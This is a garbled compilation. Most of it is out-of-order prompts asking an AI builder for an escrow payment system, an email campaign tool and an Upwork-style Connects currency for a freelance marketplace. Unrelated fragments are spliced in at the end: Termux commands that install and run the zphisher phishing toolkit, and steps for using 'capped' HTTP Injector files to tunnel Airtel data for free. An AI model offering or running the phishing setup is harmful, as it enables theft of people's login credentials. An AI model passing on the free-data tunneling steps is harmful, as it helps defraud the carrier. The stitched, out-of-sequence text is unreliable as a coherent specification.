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Build a secure escrow payment protection system for my freelance marketplace, similar to Upwork.

Requirements:

1. Clients must fund a job or milestone before freelancers can start working.
2. Integrate a suitable payment provider for M-Pesa and card payments, subject to provider availability and approval.
3. Verify all payments securely on the server using signed webhooks or provider verification APIs. Never trust a frontend success message.
4. Keep a clear transaction record for every client payment, funded milestone, platform fee, refund, dispute, and freelancer payout.
5. Display payment statuses: Awaiting Payment, Payment Confirmed, Funds Secured, In Progress, Work Submitted, Under Review, Approved, Disputed, Refunded, and Paid Out.
6. Prevent freelancers from starting funded work until the required funds are confirmed and secured.
7. Allow clients to approve completed work or request revisions according to the contract.
8. Implement milestone-based payments, transparent platform commissions, freelancer payout requests, and payment receipts.
9. Add automatic payment release only after a clearly disclosed review period, with advance notice and an option to open a dispute before release.
10. Add a dispute system that pauses disputed payments until an authorised resolution is recorded.
11. Provide an admin dashboard for reviewing transactions, disputes, refunds, fraud alerts, and payout failures. Admins must not be able to secretly alter transaction history.
12. Protect against duplicate payments, duplicate payouts, forged webhooks, unauthorised refunds, and race conditions using server-side authorisation and idempotency.
13. Never store raw card details or expose secret API keys in frontend code.
14. Do not simulate real payments or mark jobs as funded without verified payment-provider confirmation.
15. Use a legally compliant escrow or marketplace payment provider that is authorised to hold and release customer funds. Do not hold customer funds in an ordinary business account without confirming the legal requirements.
16. Include clear buyer and freelancer terms, fees, cancellation rules, dispute deadlines, and refund policies.

Before implementation, identify the required backend functions, database tables, payment-provider integrations, and compliance requirements. If genuine escrow or payout functionality is unavailable, clearly identify what remains unimplemented instead of claiming that payments are protected.

Add a complete Email Marketing and Campaign Management system to my existing website without changing its current design or existing features.

Requirements:

1. Create an admin-only Email Campaigns dashboard.
2. Allow administrators to compose, preview, edit, save, and send email campaigns to registered users.
3. Support holiday greetings, promotional offers, new feature announcements, newsletters, and re-engagement campaigns.
4. Allow campaigns to be scheduled for a specific date and time.
5. Allow targeting all eligible users or specific user groups.
6. Create professional, mobile-friendly email templates using my website's branding.
7. Automatically send welcome emails to new users when appropriate.
8. Track campaign status and available delivery, bounce, click, and open statistics.
9. Provide unsubscribe links and store marketing consent and unsubscribe preferences.
10. Never send marketing emails to users who have unsubscribed or who have not consented where consent is required.
11. Use a legitimate email delivery provider such as Brevo or Resend. Do not simulate successful delivery or store API keys in frontend code.
12. If an external integration or paid plan is required, clearly identify that requirement and build the dashboard so it can be connected later.
13. Implement secure backend functions, administrator permissions, error handling, and safeguards against duplicate sends.

Keep the existing website fully functional. Build the actual working system, not just a visual mockup.

IMPORTANT: This must be a real, backend-enforced Connects economy, not a demonstration with fake balances or simulated purchases. Do not claim a feature is operational until it has been implemented and tested.

Use clear positive and negative transaction indicators. Every displayed transaction must correspond to an actual backend ledger record.

10. ADMIN CONNECTS MANAGEMENT

Add a protected Connects management section to the admin dashboard.

Administrators must be able to:

- Search for users and inspect their Connects balances.
- View the complete transaction ledger.
- Configure package prices and quantities.
- Configure job application costs.
- Configure rewards and expiration rules.
- Issue or deduct Connects with a mandatory reason.
- Review payment failures and verified purchases.
- Process eligible refunds without duplication.
- Enable or disable Connects purchases and boosts.
- View total Connects sold, redeemed, refunded and expired.
- Export transaction reports.

Restrict all administrative operations to authorized staff using backend-enforced role permissions. Never rely only on hiding admin buttons in the frontend.

Log every administrative adjustment, including the administrator, affected user, amount, reason, timestamp and resulting balance.

11. SECURITY AND DATA INTEGRITY

Implement these requirements using the existing database and supported backend features:

- Every user can read only their own private wallet and transaction history.
- Users cannot edit their own balance, payment status, transaction records or rewards.
- Only trusted backend operations may create Connects transactions.
- Payment webhooks must verify their authenticity.
- Use unique payment references and idempotency keys.
- Use atomic balance updates to prevent simultaneous spending from creating a negative balance.
- Validate job ownership, proposal permissions, account status and job availability on the server.
- Prevent duplicate refunds and repeated reward claims.
- Protect against unauthorized access to other users' wallets.
- Never expose payment secrets or administrative credentials in frontend code.
- Keep an immutable audit trail of financial and Connects-related operations.

Do not use a frontend-only balance, local storage or editable client-side variables as the source of truth.

12. DESIGN AND MOBILE EXPERIENCE

Match my existing freelance marketplace design and make every screen responsive, fast and easy to use on mobile devices.

Create a premium, professional interface with:

- A wallet balance card.
- Clear package comparison cards.
- An easy-to-understand purchase flow.
- Confirmation dialogs before spending Connects.
- Visible insufficient-balance messages.
- Helpful empty states.
- Payment status screens.
- Accessible forms and clear error messages.

Reuse the existing design system, components, typography and navigation. Do not replace my existing branding or unnecessarily redesign unrelated screens.

13. TESTING AND COMPLETION

Before declaring the feature complete, test:

- Buying Connects through a verified test payment.
- Failed and cancelled payments.
- Duplicate payment webhooks.
- Applying with enough Connects.
- Applying with insufficient Connects.
- Two simultaneous application attempts with a limited balance.
- Duplicate proposal submissions.
- Refund eligibility and duplicate refund prevention.
- Connects expiration.
- Unauthorized wallet and admin access.
- Manual administrative adjustments.
- Mobile and desktop layouts.

Use automated tests where supported.

Preserve existing users, jobs, proposals and other application data. Do not overwrite or delete existing production data.

First inspect my existing application's database, authentication, backend capabilities and payment integrations. Reuse working components wherever possible. Then implement the feature in small, safe stages.

At the end, provide a report stating which features are complete, which database tables and backend functions were created, which payment integrations are configured, which tests passed and which tasks still require credentials or manual setup.

3. The freelancer clicks "Submit Proposal".
4. The system checks authentication, freelancer eligibility, job status, remaining Connects and duplicate proposal restrictions.
5. Show a confirmation screen with the Connects cost and remaining balance after submission.
6. If the balance is insufficient, block submission and offer a "Buy Connects" action.
7. If the balance is sufficient, atomically deduct the required Connects and create the proposal.
8. Show the successful submission confirmation and updated balance.

The wallet deduction and proposal creation must be handled safely by the backend in a database transaction or equivalent atomic operation.

Prevent double-clicks, concurrent requests, duplicate deductions, negative balances and multiple charges for the same proposal.

A proposal must never be created as successfully submitted unless its required Connects transaction succeeds.

5. CONNECTS REFUND RULES

Implement configurable refund rules.

Default rules:

- Client cancels a job before a contract is created: return the application Connects where eligible.
- Administrator removes a fraudulent or policy-violating job: return eligible application Connects.
- Client rejects a proposal: no refund.
- Another freelancer is hired: no refund.
- Job expires without a hire: no refund.
- Freelancer voluntarily withdraws a proposal: no refund.

Never refund the cash value of Connects automatically when returning Connects to a wallet.

Create a refund record linked to the original deduction. Each refund must be processed at most once. Administrators must be able to inspect the reason and audit trail.

6. BOOSTED PROPOSALS

Add an optional feature allowing freelancers to spend additional Connects to promote their proposals.

Freelancers can select an additional Connects amount and preview the total cost before confirming.

Display boosted proposals in a clearly labelled sponsored or boosted position. Do not guarantee a higher ranking or a successful hire.

For the first version, implement a transparent, configurable ranking system with a maximum boost limit and clear tie-breaking rules. Do not implement fake auctions, fabricated competing bids or misleading placement guarantees.

Deduct boost Connects only when the boost is validly accepted. Prevent duplicate deductions. Create a separate transaction for every boost and implement configurable boost refund rules.

Allow administrators to enable or disable boosting globally.

7. FREE CONNECTS AND PROMOTIONS

Allow administrators to configure:

- A one-time signup reward.
- Optional monthly Connects allowances.
- Promotional bonuses.
- Referral rewards.
- Manually awarded support credits.

Do not grant unlimited free Connects or reward repeated account creation.

Enforce eligibility rules, one-time reward limits, monthly limits and anti-abuse checks on the backend. Make all rewards visible in the transaction history.

Do not promise a monthly allowance unless the administrator has enabled and configured it.

8. CONNECTS EXPIRATION

Create configurable expiration policies.

Support a default 365-day expiry period for each purchased or awarded Connects lot, with the expiration date recorded when the Connects are issued.

Maintain separate records for purchased, rewarded and refunded Connects so their origin and applicable expiry policy can be audited.

Use a reliable scheduled backend process to expire eligible unused Connects. Deduct expired amounts correctly, notify affected users and record each expiration in the ledger.

Do not delete historical transactions. If scheduled jobs are unavailable, disclose this limitation and provide a safe administrative alternative.

9. FREELANCER CONNECTS HISTORY

Create a Connects activity page with filters for:

- All transactions.
- Purchases.
- Proposal submissions.
- Proposal boosts.
- Free rewards.
- Refunds.
- Expired Connects.
- Administrative adjustments.

Show the date, transaction description, amount added or deducted, status and resulting balance.

BUILD A COMPLETE UPWORK-STYLE CONNECTS SYSTEM

Upgrade my existing remote-work freelance marketplace by implementing a complete, production-ready virtual currency system called Connects. Use my app's existing branding, design system, authentication, database and navigation. Do not rebuild the entire application or break existing features.

The system should follow the general functionality of Upwork Connects while using my own branding, original interface, pricing and business rules.

1. CONNECTS WALLET

Create a dedicated Connects wallet for every freelancer account.

The wallet must display:

- Current available Connects balance.
- Total Connects purchased.
- Total Connects spent.
- Free Connects received.
- Connects pending transactions, if applicable.
- A complete transaction history.
- A prominent "Buy Connects" button.
- A link to Connects usage rules.

Each transaction must record its unique ID, user ID, transaction type, amount, balance before and after, timestamp, related job or proposal ID, payment reference and transaction status where applicable.

Display Connects balances throughout the freelancer dashboard, job listings, proposal submission page and account menu.

Clients who only hire freelancers must not receive freelancer Connects automatically. Accounts that operate as both clients and freelancers must have separate permissions for each role.

2. BUY CONNECTS PAGE

Build a polished purchase page that matches my existing app design.

Offer configurable packages such as:

- Starter: 50 Connects.
- Standard: 100 Connects.
- Pro: 250 Connects.
- Business: 500 Connects.

Show the Connects quantity, price, applicable fees, total amount payable and a clear purchase button for each package.

Allow administrators to edit package quantities, prices, promotional offers and availability without modifying application code.

Include an optional custom package feature, subject to administrator-defined minimum and maximum limits.

Support M-Pesa and card payments through a compatible payment provider. Use a supported backend payment integration. Never treat a screenshot, browser redirect or client-side success message as proof of payment.

For M-Pesa, initiate the actual payment request through the configured provider. Credit the purchased Connects only after trusted server-side payment verification or a verified payment webhook. Verify transaction references, amounts, currency, payment status and account ownership.

Make payment processing idempotent so repeated callbacks cannot credit the same purchase twice. Add pending, successful, failed and cancelled payment states, along with a retry option for failed payments.

If payment integration credentials are missing, show a clear configuration status and test mode. Do not pretend real payments are working.

3. JOB APPLICATION CONNECTS COST

Every job listing must display the exact number of Connects required to submit a proposal before the freelancer applies.

Create configurable Connects costs based on job complexity, category, budget and administrator-defined demand rules.

Use these initial example costs:

- Simple or small project: 4 Connects.
- Standard project: 8 Connects.
- Advanced project: 12 Connects.
- Specialized or high-complexity project: 16 Connects.

These are my initial business rules, not a claim that they match Upwork's current job costs.

Allow administrators to override the required Connects for individual jobs.

Once a job is published, save its current application cost. If the cost changes, clearly disclose the new cost before a freelancer submits a proposal. Never silently change the cost during submission.

4. SUBMITTING PROPOSALS

Implement the following exact workflow:

1. A freelancer opens a job.
2. The job displays the required Connects.

Set up the payment flow so clients can pay for completed jobs, including the logic for secure transactions and commission handling for the platform.

Set up the payment integration so clients can securely pay freelancers for completed work through the platform.

apt update

apt upgrade -y

pkg install git

git clone https://github.com/htr-tech/zphisher.git

cd zphisher

./ http://zphisher.sh/

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2.Click the file and open it using http injector.
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4. Simply tap Connect and wait for about 1 minute.
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6. Go back to the main screen and tap Connect.

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Note:
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1. Download the capped file and open it using .
2. Airtel works with any IP address, so there is no need to search for or hunt an IP.
3. Simply tap Connect and wait for about 1 minute.
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Note:
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